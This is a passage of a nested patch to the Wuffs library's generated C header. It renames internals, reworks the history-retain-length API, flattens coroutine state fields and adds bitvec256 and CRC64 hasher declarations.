0xB0008888 -+#define WUFFS_BASE__PIXEL_FORMAT__RGB 0xA0000888 -+#define WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL 0xA1008888 -+#define WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL_4X16LE 0xA100BBBB -+#define WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL 0xA2008888 -+#define WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL_4X16LE 0xA200BBBB -+#define WUFFS_BASE__PIXEL_FORMAT__RGBA_BINARY 0xA3008888 -+#define WUFFS_BASE__PIXEL_FORMAT__RGBX 0xB0008888 - --#define WUFFS_BASE__PIXEL_FORMAT__CMY 0xC0020888 --#define WUFFS_BASE__PIXEL_FORMAT__CMYK 0xD0038888 -+#define WUFFS_BASE__PIXEL_FORMAT__CMY 0xC0020888 -+#define WUFFS_BASE__PIXEL_FORMAT__CMYK 0xD0038888 - --extern const uint32_t wuffs_base__pixel_format__bits_per_channel[16]; -+// clang-format on -+ -+extern const uint32_t wuffs_private_impl__pixel_format__bits_per_channel[16]; - - static inline bool // - wuffs_base__pixel_format__is_valid(const wuffs_base__pixel_format* f) { -@@ -4170,10 +4439,14 @@ wuffs_base__pixel_format__bits_per_pixel(const wuffs_base__pixel_format* f) { - if (((f->repr >> 16) & 0x03) != 0) { - return 0; - } -- return wuffs_base__pixel_format__bits_per_channel[0x0F & (f->repr >> 0)] + -- wuffs_base__pixel_format__bits_per_channel[0x0F & (f->repr >> 4)] + -- wuffs_base__pixel_format__bits_per_channel[0x0F & (f->repr >> 8)] + -- wuffs_base__pixel_format__bits_per_channel[0x0F & (f->repr >> 12)]; -+ return wuffs_private_impl__pixel_format__bits_per_channel[0x0F & -+ (f->repr >> 0)] + -+ wuffs_private_impl__pixel_format__bits_per_channel[0x0F & -+ (f->repr >> 4)] + -+ wuffs_private_impl__pixel_format__bits_per_channel[0x0F & -+ (f->repr >> 8)] + -+ wuffs_private_impl__pixel_format__bits_per_channel[0x0F & -+ (f->repr >> 12)]; - } - - static inline bool // -@@ -4391,15 +4664,20 @@ wuffs_base__pixel_config__set(wuffs_base__pixel_config* c, - return; - } - if (pixfmt_repr) { -- uint64_t wh = ((uint64_t)width) * ((uint64_t)height); -- // TODO: handle things other than 1 byte per pixel. -- if (wh <= ((uint64_t)SIZE_MAX)) { -+ do { -+#if SIZE_MAX < 0xFFFFFFFFFFFFFFFFull -+ uint64_t wh = ((uint64_t)width) * ((uint64_t)height); -+ // TODO: handle things other than 1 byte per pixel. -+ if (wh > ((uint64_t)SIZE_MAX)) { -+ break; -+ } -+#endif - c->private_impl.pixfmt.repr = pixfmt_repr; - c->private_impl.pixsub.repr = pixsub_repr; - c->private_impl.width = width; - c->private_impl.height = height; - return; -- } -+ } while (0); - } - - c->private_impl.pixfmt.repr = 0; -@@ -5117,7 +5395,7 @@ wuffs_base__pixel_buffer__palette(wuffs_base__pixel_buffer* pb) { - tab->ptr, WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH); - } - } -- return wuffs_base__make_slice_u8(NULL, 0); -+ return wuffs_base__empty_slice_u8(); - } - - static inline wuffs_base__slice_u8 // -@@ -6202,6 +6480,113 @@ struct wuffs_base__hasher_u64__struct { - - // -------- - -+extern const char wuffs_base__hasher_bitvec256__vtable_name[]; -+ -+typedef struct wuffs_base__hasher_bitvec256__func_ptrs__struct { -+ wuffs_base__bitvec256 (*checksum_bitvec256)( -+ const void* self); -+ uint64_t (*get_quirk)( -+ const void* self, -+ uint32_t a_key); -+ wuffs_base__status (*set_quirk)( -+ void* self, -+ uint32_t a_key, -+ uint64_t a_value); -+ wuffs_base__empty_struct (*update)( -+ void* self, -+ wuffs_base__slice_u8 a_x); -+ wuffs_base__bitvec256 (*update_bitvec256)( -+ void* self, -+ wuffs_base__slice_u8 a_x); -+} wuffs_base__hasher_bitvec256__func_ptrs; -+ -+typedef struct wuffs_base__hasher_bitvec256__struct wuffs_base__hasher_bitvec256; -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__bitvec256 -+wuffs_base__hasher_bitvec256__checksum_bitvec256( -+ const wuffs_base__hasher_bitvec256* self); -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC uint64_t -+wuffs_base__hasher_bitvec256__get_quirk( -+ const wuffs_base__hasher_bitvec256* self, -+ uint32_t a_key); -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__status -+wuffs_base__hasher_bitvec256__set_quirk( -+ wuffs_base__hasher_bitvec256* self, -+ uint32_t a_key, -+ uint64_t a_value); -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct -+wuffs_base__hasher_bitvec256__update( -+ wuffs_base__hasher_bitvec256* self, -+ wuffs_base__slice_u8 a_x); -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__bitvec256 -+wuffs_base__hasher_bitvec256__update_bitvec256( -+ wuffs_base__hasher_bitvec256* self, -+ wuffs_base__slice_u8 a_x); -+ -+#if defined(__cplusplus) || defined(WUFFS_IMPLEMENTATION) -+ -+struct wuffs_base__hasher_bitvec256__struct { -+ struct { -+ uint32_t magic; -+ uint32_t active_coroutine; -+ wuffs_base__vtable first_vtable; -+ } private_impl; -+ -+#ifdef __cplusplus -+#if defined(WUFFS_BASE__HAVE_UNIQUE_PTR) -+ using unique_ptr = std::unique_ptr; -+#endif -+ -+ inline wuffs_base__bitvec256 -+ checksum_bitvec256() const { -+ return wuffs_base__hasher_bitvec256__checksum_bitvec256(this); -+ } -+ -+ inline uint64_t -+ get_quirk( -+ uint32_t a_key) const { -+ return wuffs_base__hasher_bitvec256__get_quirk( -+ this, a_key); -+ } -+ -+ inline wuffs_base__status -+ set_quirk( -+ uint32_t a_key, -+ uint64_t a_value) { -+ return wuffs_base__hasher_bitvec256__set_quirk( -+ this, a_key, a_value); -+ } -+ -+ inline wuffs_base__empty_struct -+ update( -+ wuffs_base__slice_u8 a_x) { -+ return wuffs_base__hasher_bitvec256__update( -+ this, a_x); -+ } -+ -+ inline wuffs_base__bitvec256 -+ update_bitvec256( -+ wuffs_base__slice_u8 a_x) { -+ return wuffs_base__hasher_bitvec256__update_bitvec256( -+ this, a_x); -+ } -+ -+#endif // __cplusplus -+}; // struct wuffs_base__hasher_bitvec256__struct -+ -+#endif // defined(__cplusplus) || defined(WUFFS_IMPLEMENTATION) -+ -+// -------- -+ - extern const char wuffs_base__image_decoder__vtable_name[]; - - typedef struct wuffs_base__image_decoder__func_ptrs__struct { -@@ -6225,8 +6610,6 @@ typedef struct wuffs_base__image_decoder__func_ptrs__struct { - uint64_t (*get_quirk)( - const void* self, - uint32_t a_key); -- uint64_t (*history_retain_length)( -- const void* self); - uint32_t (*num_animation_loops)( - const void* self); - uint64_t (*num_decoded_frame_configs)( -@@ -6291,11 +6674,6 @@ wuffs_base__image_decoder__get_quirk( - const wuffs_base__image_decoder* self, - uint32_t a_key); - --WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC uint64_t --wuffs_base__image_decoder__history_retain_length( -- const wuffs_base__image_decoder* self); -- - WUFFS_BASE__GENERATED_C_CODE - WUFFS_BASE__MAYBE_STATIC uint32_t - wuffs_base__image_decoder__num_animation_loops( -@@ -6398,11 +6776,6 @@ struct wuffs_base__image_decoder__struct { - this, a_key); - } - -- inline uint64_t -- history_retain_length() const { -- return wuffs_base__image_decoder__history_retain_length(this); -- } -- - inline uint32_t - num_animation_loops() const { - return wuffs_base__image_decoder__num_animation_loops(this); -@@ -6466,11 +6839,11 @@ struct wuffs_base__image_decoder__struct { - extern const char wuffs_base__io_transformer__vtable_name[]; - - typedef struct wuffs_base__io_transformer__func_ptrs__struct { -+ wuffs_base__optional_u63 (*dst_history_retain_length)( -+ const void* self); - uint64_t (*get_quirk)( - const void* self, - uint32_t a_key); -- uint64_t (*history_retain_length)( -- const void* self); - wuffs_base__status (*set_quirk)( - void* self, - uint32_t a_key, -@@ -6486,17 +6859,17 @@ typedef struct wuffs_base__io_transformer__func_ptrs__struct { - - typedef struct wuffs_base__io_transformer__struct wuffs_base__io_transformer; - -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__optional_u63 -+wuffs_base__io_transformer__dst_history_retain_length( -+ const wuffs_base__io_transformer* self); -+ - WUFFS_BASE__GENERATED_C_CODE - WUFFS_BASE__MAYBE_STATIC uint64_t - wuffs_base__io_transformer__get_quirk( - const wuffs_base__io_transformer* self, - uint32_t a_key); - --WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC uint64_t --wuffs_base__io_transformer__history_retain_length( -- const wuffs_base__io_transformer* self); -- - WUFFS_BASE__GENERATED_C_CODE - WUFFS_BASE__MAYBE_STATIC wuffs_base__status - wuffs_base__io_transformer__set_quirk( -@@ -6531,6 +6904,11 @@ struct wuffs_base__io_transformer__struct { - using unique_ptr = std::unique_ptr; - #endif - -+ inline wuffs_base__optional_u63 -+ dst_history_retain_length() const { -+ return wuffs_base__io_transformer__dst_history_retain_length(this); -+ } -+ - inline uint64_t - get_quirk( - uint32_t a_key) const { -@@ -6538,11 +6916,6 @@ struct wuffs_base__io_transformer__struct { - this, a_key); - } - -- inline uint64_t -- history_retain_length() const { -- return wuffs_base__io_transformer__history_retain_length(this); -- } -- - inline wuffs_base__status - set_quirk( - uint32_t a_key, -@@ -6583,8 +6956,6 @@ typedef struct wuffs_base__token_decoder__func_ptrs__struct { - uint64_t (*get_quirk)( - const void* self, - uint32_t a_key); -- uint64_t (*history_retain_length)( -- const void* self); - wuffs_base__status (*set_quirk)( - void* self, - uint32_t a_key, -@@ -6609,11 +6980,6 @@ wuffs_base__token_decoder__get_quirk( - const wuffs_base__token_decoder* self, - uint32_t a_key); - --WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC uint64_t --wuffs_base__token_decoder__history_retain_length( -- const wuffs_base__token_decoder* self); -- - WUFFS_BASE__GENERATED_C_CODE - WUFFS_BASE__MAYBE_STATIC wuffs_base__status - wuffs_base__token_decoder__set_quirk( -@@ -6656,11 +7022,6 @@ struct wuffs_base__token_decoder__struct { - this, a_key); - } - -- inline uint64_t -- history_retain_length() const { -- return wuffs_base__token_decoder__history_retain_length(this); -- } -- - inline wuffs_base__status - set_quirk( - uint32_t a_key, -@@ -6918,9 +7279,7 @@ extern const char wuffs_bmp__error__unsupported_bmp_file[]; - - // ---------------- Public Consts - --#define WUFFS_BMP__DECODER_HISTORY_RETAIN_LENGTH_MAX_INCL_WORST_CASE 0 -- --#define WUFFS_BMP__DECODER_WORKBUF_LEN_MAX_INCL_WORST_CASE 0 -+#define WUFFS_BMP__DECODER_WORKBUF_LEN_MAX_INCL_WORST_CASE 0u - - // ---------------- Struct Declarations - -@@ -7053,11 +7412,6 @@ wuffs_bmp__decoder__tell_me_more( - wuffs_base__more_information* a_minfo, - wuffs_base__io_buffer* a_src); - --WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC uint64_t --wuffs_bmp__decoder__history_retain_length( -- const wuffs_bmp__decoder* self); -- - WUFFS_BASE__GENERATED_C_CODE - WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 - wuffs_bmp__decoder__workbuf_len( -@@ -7116,14 +7470,14 @@ struct wuffs_bmp__decoder__struct { - bool f_rle_padded; - wuffs_base__pixel_swizzler f_swizzler; - -- uint32_t p_decode_image_config[1]; -- uint32_t p_do_decode_image_config[1]; -- uint32_t p_decode_frame_config[1]; -- uint32_t p_do_decode_frame_config[1]; -- uint32_t p_decode_frame[1]; -- uint32_t p_do_decode_frame[1]; -- uint32_t p_tell_me_more[1]; -- uint32_t p_read_palette[1]; -+ uint32_t p_decode_image_config; -+ uint32_t p_do_decode_image_config; -+ uint32_t p_decode_frame_config; -+ uint32_t p_do_decode_frame_config; -+ uint32_t p_decode_frame; -+ uint32_t p_do_decode_frame; -+ uint32_t p_tell_me_more; -+ uint32_t p_read_palette; - } private_impl; - - struct { -@@ -7132,14 +7486,14 @@ struct wuffs_bmp__decoder__struct { - - struct { - uint64_t scratch; -- } s_do_decode_image_config[1]; -+ } s_do_decode_image_config; - struct { - uint64_t scratch; -- } s_do_decode_frame[1]; -+ } s_do_decode_frame; - struct { - uint32_t v_i; - uint64_t scratch; -- } s_read_palette[1]; -+ } s_read_palette; - } private_data; - - #ifdef __cplusplus -@@ -7283,11 +7637,6 @@ struct wuffs_bmp__decoder__struct { - return wuffs_bmp__decoder__tell_me_more(this, a_dst, a_minfo, a_src); - } - -- inline uint64_t -- history_retain_length() const { -- return wuffs_bmp__decoder__history_retain_length(this); -- } -- - inline wuffs_base__range_ii_u64 - workbuf_len() const { - return wuffs_bmp__decoder__workbuf_len(this); -@@ -7316,9 +7665,9 @@ extern const char wuffs_bzip2__error__unsupported_block_randomization[]; - - // ---------------- Public Consts - --#define WUFFS_BZIP2__DECODER_HISTORY_RETAIN_LENGTH_MAX_INCL_WORST_CASE 0 -+#define WUFFS_BZIP2__DECODER_DST_HISTORY_RETAIN_LENGTH_MAX_INCL_WORST_CASE 0u - --#define WUFFS_BZIP2__DECODER_WORKBUF_LEN_MAX_INCL_WORST_CASE 0 -+#define WUFFS_BZIP2__DECODER_WORKBUF_LEN_MAX_INCL_WORST_CASE 0u - - // ---------------- Struct Declarations - -@@ -7386,8 +7735,8 @@ wuffs_bzip2__decoder__set_quirk( - uint64_t a_value); - - WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC uint64_t --wuffs_bzip2__decoder__history_retain_length( -+WUFFS_BASE__MAYBE_STATIC wuffs_base__optional_u63 -+wuffs_bzip2__decoder__dst_history_retain_length( - const wuffs_bzip2__decoder* self); - - WUFFS_BASE__GENERATED_C_CODE -@@ -7452,12 +7801,12 @@ struct wuffs_bzip2__decoder__struct { - uint32_t f_num_sections; - uint32_t f_code_lengths_bitmask; - -- uint32_t p_transform_io[1]; -- uint32_t p_do_transform_io[1]; -- uint32_t p_prepare_block[1]; -- uint32_t p_read_code_lengths[1]; -- uint32_t p_flush_slow[1]; -- uint32_t p_decode_huffman_slow[1]; -+ uint32_t p_transform_io; -+ uint32_t p_do_transform_io; -+ uint32_t p_prepare_block; -+ uint32_t p_read_code_lengths; -+ uint32_t p_flush_slow; -+ uint32_t p_decode_huffman_slow; - } private_impl; - - struct { -@@ -7474,15 +7823,15 @@ struct wuffs_bzip2__decoder__struct { - uint32_t v_i; - uint64_t v_tag; - uint32_t v_final_checksum_want; -- } s_do_transform_io[1]; -+ } s_do_transform_io; - struct { - uint32_t v_i; - uint32_t v_selector; -- } s_prepare_block[1]; -+ } s_prepare_block; - struct { - uint32_t v_i; - uint32_t v_code_length; -- } s_read_code_lengths[1]; -+ } s_read_code_lengths; - struct { - uint32_t v_flush_pointer; - uint32_t v_flush_repeat_count; -@@ -7491,10 +7840,10 @@ struct wuffs_bzip2__decoder__struct { - uint32_t v_block_size; - uint8_t v_curr; - uint64_t scratch; -- } s_flush_slow[1]; -+ } s_flush_slow; - struct { - uint32_t v_node_index; -- } s_decode_huffman_slow[1]; -+ } s_decode_huffman_slow; - } private_data; - - #ifdef __cplusplus -@@ -7572,9 +7921,9 @@ struct wuffs_bzip2__decoder__struct { - return wuffs_bzip2__decoder__set_quirk(this, a_key, a_value); - } - -- inline uint64_t -- history_retain_length() const { -- return wuffs_bzip2__decoder__history_retain_length(this); -+ inline wuffs_base__optional_u63 -+ dst_history_retain_length() const { -+ return wuffs_bzip2__decoder__dst_history_retain_length(this); - } - - inline wuffs_base__range_ii_u64 -@@ -7606,25 +7955,23 @@ extern const char wuffs_cbor__error__unsupported_recursion_depth[]; - - // ---------------- Public Consts - --#define WUFFS_CBOR__DECODER_HISTORY_RETAIN_LENGTH_MAX_INCL_WORST_CASE 0 -+#define WUFFS_CBOR__DECODER_WORKBUF_LEN_MAX_INCL_WORST_CASE 0u - --#define WUFFS_CBOR__DECODER_WORKBUF_LEN_MAX_INCL_WORST_CASE 0 -+#define WUFFS_CBOR__DECODER_DEPTH_MAX_INCL 1024u - --#define WUFFS_CBOR__DECODER_DEPTH_MAX_INCL 1024 -+#define WUFFS_CBOR__DECODER_DST_TOKEN_BUFFER_LENGTH_MIN_INCL 2u - --#define WUFFS_CBOR__DECODER_DST_TOKEN_BUFFER_LENGTH_MIN_INCL 2 -+#define WUFFS_CBOR__DECODER_SRC_IO_BUFFER_LENGTH_MIN_INCL 9u - --#define WUFFS_CBOR__DECODER_SRC_IO_BUFFER_LENGTH_MIN_INCL 9 -+#define WUFFS_CBOR__TOKEN_VALUE_MAJOR 787997u - --#define WUFFS_CBOR__TOKEN_VALUE_MAJOR 787997 -+#define WUFFS_CBOR__TOKEN_VALUE_MINOR__DETAIL_MASK 262143u - --#define WUFFS_CBOR__TOKEN_VALUE_MINOR__DETAIL_MASK 262143 -+#define WUFFS_CBOR__TOKEN_VALUE_MINOR__MINUS_1_MINUS_X 16777216u - --#define WUFFS_CBOR__TOKEN_VALUE_MINOR__MINUS_1_MINUS_X 16777216 -+#define WUFFS_CBOR__TOKEN_VALUE_MINOR__SIMPLE_VALUE 8388608u - --#define WUFFS_CBOR__TOKEN_VALUE_MINOR__SIMPLE_VALUE 8388608 -- --#define WUFFS_CBOR__TOKEN_VALUE_MINOR__TAG 4194304 -+#define WUFFS_CBOR__TOKEN_VALUE_MINOR__TAG 4194304u - - // ---------------- Struct Declarations - -@@ -7691,11 +8038,6 @@ wuffs_cbor__decoder__set_quirk( - uint32_t a_key, - uint64_t a_value); - --WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC uint64_t --wuffs_cbor__decoder__history_retain_length( -- const wuffs_cbor__decoder* self); -- - WUFFS_BASE__GENERATED_C_CODE - WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 - wuffs_cbor__decoder__workbuf_len( -@@ -7738,7 +8080,7 @@ struct wuffs_cbor__decoder__struct { - - bool f_end_of_data; - -- uint32_t p_decode_tokens[1]; -+ uint32_t p_decode_tokens; - } private_impl; - - struct { -@@ -7750,7 +8092,7 @@ struct wuffs_cbor__decoder__struct { - uint32_t v_depth; - bool v_tagged; - uint8_t v_indefinite_string_major_type; -- } s_decode_tokens[1]; -+ } s_decode_tokens; - } private_data; - - #ifdef __cplusplus -@@ -7828,11 +8170,6 @@ struct wuffs_cbor__decoder__struct { - return wuffs_cbor__decoder__set_quirk(this, a_key, a_value); - } - -- inline uint64_t -- history_retain_length() const { -- return wuffs_cbor__decoder__history_retain_length(this); -- } -- - inline wuffs_base__range_ii_u64 - workbuf_len() const { - return wuffs_cbor__decoder__workbuf_len(this); -@@ -8074,6 +8411,227 @@ struct wuffs_crc32__ieee_hasher__struct { - - #endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__CRC32) || defined(WUFFS_NONMONOLITHIC) - -+#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__CRC64) || defined(WUFFS_NONMONOLITHIC) -+ -+// ---------------- Status Codes -+ -+// ---------------- Public Consts -+ -+// ---------------- Struct Declarations -+ -+typedef struct wuffs_crc64__ecma_hasher__struct wuffs_crc64__ecma_hasher; -+ -+#ifdef __cplusplus -+extern "C" { -+#endif -+ -+// ---------------- Public Initializer Prototypes -+ -+// For any given "wuffs_foo__bar* self", "wuffs_foo__bar__initialize(self, -+// etc)" should be called before any other "wuffs_foo__bar__xxx(self, etc)". -+// -+// Pass sizeof(*self) and WUFFS_VERSION for sizeof_star_self and wuffs_version. -+// Pass 0 (or some combination of WUFFS_INITIALIZE__XXX) for options. -+ -+wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT -+wuffs_crc64__ecma_hasher__initialize( -+ wuffs_crc64__ecma_hasher* self, -+ size_t sizeof_star_self, -+ uint64_t wuffs_version, -+ uint32_t options); -+ -+size_t -+sizeof__wuffs_crc64__ecma_hasher(void); -+ -+// ---------------- Allocs -+ -+// These functions allocate and initialize Wuffs structs. They return NULL if -+// memory allocation fails. If they return non-NULL, there is no need to call -+// wuffs_foo__bar__initialize, but the caller is responsible for eventually -+// calling free on the returned pointer. That pointer is effectively a C++ -+// std::unique_ptr. -+ -+wuffs_crc64__ecma_hasher* -+wuffs_crc64__ecma_hasher__alloc(void); -+ -+static inline wuffs_base__hasher_u64* -+wuffs_crc64__ecma_hasher__alloc_as__wuffs_base__hasher_u64(void) { -+ return (wuffs_base__hasher_u64*)(wuffs_crc64__ecma_hasher__alloc()); -+} -+ -+// ---------------- Upcasts -+ -+static inline wuffs_base__hasher_u64* -+wuffs_crc64__ecma_hasher__upcast_as__wuffs_base__hasher_u64( -+ wuffs_crc64__ecma_hasher* p) { -+ return (wuffs_base__hasher_u64*)p; -+} -+ -+// ---------------- Public Function Prototypes -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC uint64_t -+wuffs_crc64__ecma_hasher__get_quirk( -+ const wuffs_crc64__ecma_hasher* self, -+ uint32_t a_key); -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__status -+wuffs_crc64__ecma_hasher__set_quirk( -+ wuffs_crc64__ecma_hasher* self, -+ uint32_t a_key, -+ uint64_t a_value); -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct -+wuffs_crc64__ecma_hasher__update( -+ wuffs_crc64__ecma_hasher* self, -+ wuffs_base__slice_u8 a_x); -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC uint64_t -+wuffs_crc64__ecma_hasher__update_u64( -+ wuffs_crc64__ecma_hasher* self, -+ wuffs_base__slice_u8 a_x); -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC uint64_t -+wuffs_crc64__ecma_hasher__checksum_u64( -+ const wuffs_crc64__ecma_hasher* self); -+ -+#ifdef __cplusplus -+} // extern "C" -+#endif -+ -+// ---------------- Struct Definitions -+ -+// These structs' fields, and the sizeof them, are private implementation -+// details that aren't guaranteed to be stable across Wuffs versions. -+// -+// See https://en.wikipedia.org/wiki/Opaque_pointer#C -+ -+#if defined(__cplusplus) || defined(WUFFS_IMPLEMENTATION) -+ -+struct wuffs_crc64__ecma_hasher__struct { -+ // Do not access the private_impl's or private_data's fields directly. There -+ // is no API/ABI compatibility or safety guarantee if you do so. Instead, use -+ // the wuffs_foo__bar__baz functions. -+ // -+ // It is a struct, not a struct*, so that the outermost wuffs_foo__bar struct -+ // can be stack allocated when WUFFS_IMPLEMENTATION is defined. -+ -+ struct { -+ uint32_t magic; -+ uint32_t active_coroutine; -+ wuffs_base__vtable vtable_for__wuffs_base__hasher_u64; -+ wuffs_base__vtable null_vtable; -+ -+ uint64_t f_state; -+ -+ wuffs_base__empty_struct (*choosy_up)( -+ wuffs_crc64__ecma_hasher* self, -+ wuffs_base__slice_u8 a_x); -+ } private_impl; -+ -+#ifdef __cplusplus -+#if defined(WUFFS_BASE__HAVE_UNIQUE_PTR) -+ using unique_ptr = std::unique_ptr; -+ -+ // On failure, the alloc_etc functions return nullptr. They don't throw. -+ -+ static inline unique_ptr -+ alloc() { -+ return unique_ptr(wuffs_crc64__ecma_hasher__alloc()); -+ } -+ -+ static inline wuffs_base__hasher_u64::unique_ptr -+ alloc_as__wuffs_base__hasher_u64() { -+ return wuffs_base__hasher_u64::unique_ptr( -+ wuffs_crc64__ecma_hasher__alloc_as__wuffs_base__hasher_u64()); -+ } -+#endif // defined(WUFFS_BASE__HAVE_UNIQUE_PTR) -+ -+#if defined(WUFFS_BASE__HAVE_EQ_DELETE) && !defined(WUFFS_IMPLEMENTATION) -+ // Disallow constructing or copying an object via standard C++ mechanisms, -+ // e.g. the "new" operator, as this struct is intentionally opaque. Its total -+ // size and field layout is not part of the public, stable, memory-safe API. -+ // Use malloc or memcpy and the sizeof__wuffs_foo__bar function instead, and -+ // call wuffs_foo__bar__baz methods (which all take a "this"-like pointer as -+ // their first argument) rather than tweaking bar.private_impl.qux fields. -+ // -+ // In C, we can just leave wuffs_foo__bar as an incomplete type (unless -+ // WUFFS_IMPLEMENTATION is #define'd). In C++, we define a complete type in -+ // order to provide convenience methods. These forward on "this", so that you -+ // can write "bar->baz(etc)" instead of "wuffs_foo__bar__baz(bar, etc)". -+ wuffs_crc64__ecma_hasher__struct() = delete; -+ wuffs_crc64__ecma_hasher__struct(const wuffs_crc64__ecma_hasher__struct&) = delete; -+ wuffs_crc64__ecma_hasher__struct& operator=( -+ const wuffs_crc64__ecma_hasher__struct&) = delete; -+#endif // defined(WUFFS_BASE__HAVE_EQ_DELETE) && !defined(WUFFS_IMPLEMENTATION) -+ -+#if !defined(WUFFS_IMPLEMENTATION) -+ // As above, the size of the struct is not part of the public API, and unless -+ // WUFFS_IMPLEMENTATION is #define'd, this struct type T should be heap -+ // allocated, not stack allocated. Its size is not intended to be known at -+ // compile time, but it is unfortunately divulged as a side effect of -+ // defining C++ convenience methods. Use "sizeof__T()", calling the function, -+ // instead of "sizeof T", invoking the operator. To make the two values -+ // different, so that passing the latter will be rejected by the initialize -+ // function, we add an arbitrary amount of dead weight. -+ uint8_t dead_weight[123000000]; // 123 MB. -+#endif // !defined(WUFFS_IMPLEMENTATION) -+ -+ inline wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT -+ initialize( -+ size_t sizeof_star_self, -+ uint64_t wuffs_version, -+ uint32_t options) { -+ return wuffs_crc64__ecma_hasher__initialize( -+ this, sizeof_star_self, wuffs_version, options); -+ } -+ -+ inline wuffs_base__hasher_u64* -+ upcast_as__wuffs_base__hasher_u64() { -+ return (wuffs_base__hasher_u64*)this; -+ } -+ -+ inline uint64_t -+ get_quirk( -+ uint32_t a_key) const { -+ return wuffs_crc64__ecma_hasher__get_quirk(this, a_key); -+ } -+ -+ inline wuffs_base__status -+ set_quirk( -+ uint32_t a_key, -+ uint64_t a_value) { -+ return wuffs_crc64__ecma_hasher__set_quirk(this, a_key, a_value); -+ } -+ -+ inline wuffs_base__empty_struct -+ update( -+ wuffs_base__slice_u8 a_x) { -+ return wuffs_crc64__ecma_hasher__update(this, a_x); -+ } -+ -+ inline uint64_t -+ update_u64( -+ wuffs_base__slice_u8 a_x) { -+ return wuffs_crc64__ecma_hasher__update_u64(this, a_x); -+ } -+ -+ inline uint64_t -+ checksum_u64() const { -+ return wuffs_crc64__ecma_hasher__checksum_u64(this); -+ } -+ -+#endif // __cplusplus -+}; // struct wuffs_crc64__ecma_hasher__struct -+ -+#endif // defined(__cplusplus) || defined(WUFFS_IMPLEMENTATION) -+ -+#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__CRC64) || defined(WUFFS_NONMONOLITHIC) -+ - #if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__DEFLATE) || defined(WUFFS_NONMONOLITHIC) - - // ---------------- Status Codes -@@ -8095,9 +8653,9 @@ extern const char wuffs_deflate__error__truncated_input[]; - - // ---------------- Public Consts - --#define WUFFS_DEFLATE__DECODER_HISTORY_RETAIN_LENGTH_MAX_INCL_WORST_CASE 0 -+#define WUFFS_DEFLATE__DECODER_DST_HISTORY_RETAIN_LENGTH_MAX_INCL_WORST_CASE 0u - --#define WUFFS_DEFLATE__DECODER_WORKBUF_LEN_MAX_INCL_WORST_CASE 1 -+#define WUFFS_DEFLATE__DECODER_WORKBUF_LEN_MAX_INCL_WORST_CASE 1u - - // ---------------- Struct Declarations - -@@ -8171,8 +8729,8 @@ wuffs_deflate__decoder__set_quirk( - uint64_t a_value); - - WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC uint64_t --wuffs_deflate__decoder__history_retain_length( -+WUFFS_BASE__MAYBE_STATIC wuffs_base__optional_u63 -+wuffs_deflate__decoder__dst_history_retain_length( - const wuffs_deflate__decoder* self); - - WUFFS_BASE__GENERATED_C_CODE -@@ -8222,16 +8780,16 @@ struct wuffs_deflate__decoder__struct { - uint32_t f_n_huffs_bits[2]; - bool f_end_of_block; - -- uint32_t p_transform_io[1]; -- uint32_t p_do_transform_io[1]; -- uint32_t p_decode_blocks[1]; -- uint32_t p_decode_uncompressed[1]; -- uint32_t p_init_dynamic_huffman[1]; -+ uint32_t p_transform_io; -+ uint32_t p_do_transform_io; -+ uint32_t p_decode_blocks; -+ uint32_t p_decode_uncompressed; -+ uint32_t p_init_dynamic_huffman; - wuffs_base__status (*choosy_decode_huffman_fast64)( - wuffs_deflate__decoder* self, - wuffs_base__io_buffer* a_dst, - wuffs_base__io_buffer* a_src); -- uint32_t p_decode_huffman_slow[1]; -+ uint32_t p_decode_huffman_slow; - } private_impl; - - struct { -@@ -8241,11 +8799,11 @@ struct wuffs_deflate__decoder__struct { - - struct { - uint32_t v_final; -- } s_decode_blocks[1]; -+ } s_decode_blocks; - struct { - uint32_t v_length; - uint64_t scratch; -- } s_decode_uncompressed[1]; -+ } s_decode_uncompressed; - struct { - uint32_t v_bits; - uint32_t v_n_bits; -@@ -8257,7 +8815,7 @@ struct wuffs_deflate__decoder__struct { - uint32_t v_n_extra_bits; - uint8_t v_rep_symbol; - uint32_t v_rep_count; -- } s_init_dynamic_huffman[1]; -+ } s_init_dynamic_huffman; - struct { - uint32_t v_bits; - uint32_t v_n_bits; -@@ -8269,7 +8827,7 